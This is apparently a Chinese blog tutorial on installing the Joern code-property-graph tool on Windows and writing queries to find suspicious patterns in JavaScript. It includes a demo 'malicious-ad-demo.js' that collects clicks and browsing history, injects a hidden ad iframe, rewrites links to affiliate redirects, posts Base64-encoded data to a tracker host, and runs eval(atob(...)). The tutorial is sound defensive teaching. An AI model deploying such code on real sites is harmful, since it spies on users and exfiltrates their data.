一、joern工具的含义
joern是用于基于CPG制作的静态扫描工具。
CPG(代码属性图)是由AST(abstract syntax tree抽象语法树)、CFG(control flow graph控制流图)、PDG(program dependence graph程序依赖图)结构融合而成的图形结构。
对于joern和CPG含义和概念方面的详情请参考:
深入浅出Joern(一)Joern与CPG是什么?-腾讯云开发者社区-腾讯云
二、joern工具的下载
在Windows系统下
不要在以下网站下载整个joern工具(因为我下了七天都没有成功o(╥﹏╥)o)
https://github.com/joernio/joern
最好下载joern-cli,网站为:Releases · joernio/joern · GitHub
下载joern-cli.zip
将下载的文件放到想放的位置
右击点开终端
在终端输入
sbt stage
这里的速度就很快了(如果遇到报错,比如对于无法下载github上的东西就翻墙喽,或者直接在本地下载再放到专门的文件夹)
完成后,配置系统环境
根据你放joern-cli的位置配置系统环境。
这样就直接可以在终端使用joern工具了!(✿✿ヽ(°▽°)ノ✿ 此中艰苦你懂我也懂)
至于其他系统安装joern的方法可以参考GitHub - joernio/joern: Open-source code analysis platform for C/C++/Java/Binary/Javascript/Python/Kotlin based on code property graphs. Discord https://discord.gg/vv4MH284Hc
三、joern的使用
在终端打开joern工具
输入你要分析的文件(文件路径一定要用"/")
如此你就得到cpg
importCode("C:/Users/22617/Desktop/malicious-ad-demo.js")
malicious-ad-demo.js文件的内容为:
// ----------- 用户跟踪行为 -----------
// 1. 收集点击事件
document.addEventListener("click", function (e) {
const clickData = {
x: e.clientX,
y: e.clientY,
timestamp: Date.now(),
page: window.location.href
};
// 将数据存储到本地
localStorage.setItem("user_clicks", JSON.stringify(clickData));
});
// 2. 读取浏览历史(需chrome.history权限)
// 检测 manifest 中的权限声明(需单独分析 manifest.json) cpg.literal("\"chrome.history\"").location.l
chrome.history.search({ text: "" }, function (historyItems) {
const historyData = historyItems.map(item => item.url);
sendToTracker(historyData); // 发送到跟踪服务器
});
// ----------- 动态广告注入 -----------
// 3. 插入隐藏的广告iframe
const adIframe = document.createElement("iframe");
adIframe.style.display = "none";
adIframe.src = "https://malicious-ads.com/track?uid=12345";
document.body.appendChild(adIframe);
// 4. 替换页面链接为附属链接
const links = document.querySelectorAll("a");
links.forEach(link => {
const originalUrl = link.href;
link.href = `https://affiliate-partner.net/redirect?ref=666&target=${encodeURIComponent(originalUrl)}`;
});
// ----------- 数据外传 -----------
// 5. 发送数据到广告服务器(Base64混淆)
function sendToTracker(data) {
const encodedData = btoa(JSON.stringify(data));
fetch("https://tracker-analytics.com/log", {
method: "POST",
body: `data=${encodedData}`
});
}
// 6. 动态执行远程脚本 cpg.call.where(_.argument.code(".*eval.*atob.*")).map(n=> List(n.lineNumber, n.code)).l
setTimeout(() => {
const script = document.createElement("script");
script.innerHTML = "eval(atob('ZG9jdW1lbnQud3JpdGUoIjwhLS0gQWRzIC0tPiIpOw=='));"; // 解码后为插入广告注释
document.head.appendChild(script);
}, 5000);
用这个命令可以检测到调用的函数和后面包含的代码内容。可以得到很多内容。
.*是正则表达式,用来表示省略的内容。
cpg.call.name("addEventListener").where(_.argument.code(".*click.*")).l
cpg.call.where(_.methodFullName(".*localStorage\\.setItem.*")).l
用"|" 表示或者
cpg.call.name("appendChild|insertAdjacentHTML|innerHTML").l
用map()显示你想要的具体内容。map(n=> List(n.lineNumber, n.code)显示行数和具体代码。
cpg.call.where(_.argument.code(".*eval.*atob.*")).map(n=> List(n.lineNumber, n.code)).l
具体其他使用方法请参考官方文档:
Overview | Joern Documentation
目前我就了解到这里啦,但是我现在使用的joern工具不能检测大数据量的js文件,不知道哪里出了问题。希望有大佬能帮我解答一下。当然,如果我后期解决了一定会继续分享的。(保佑我吧)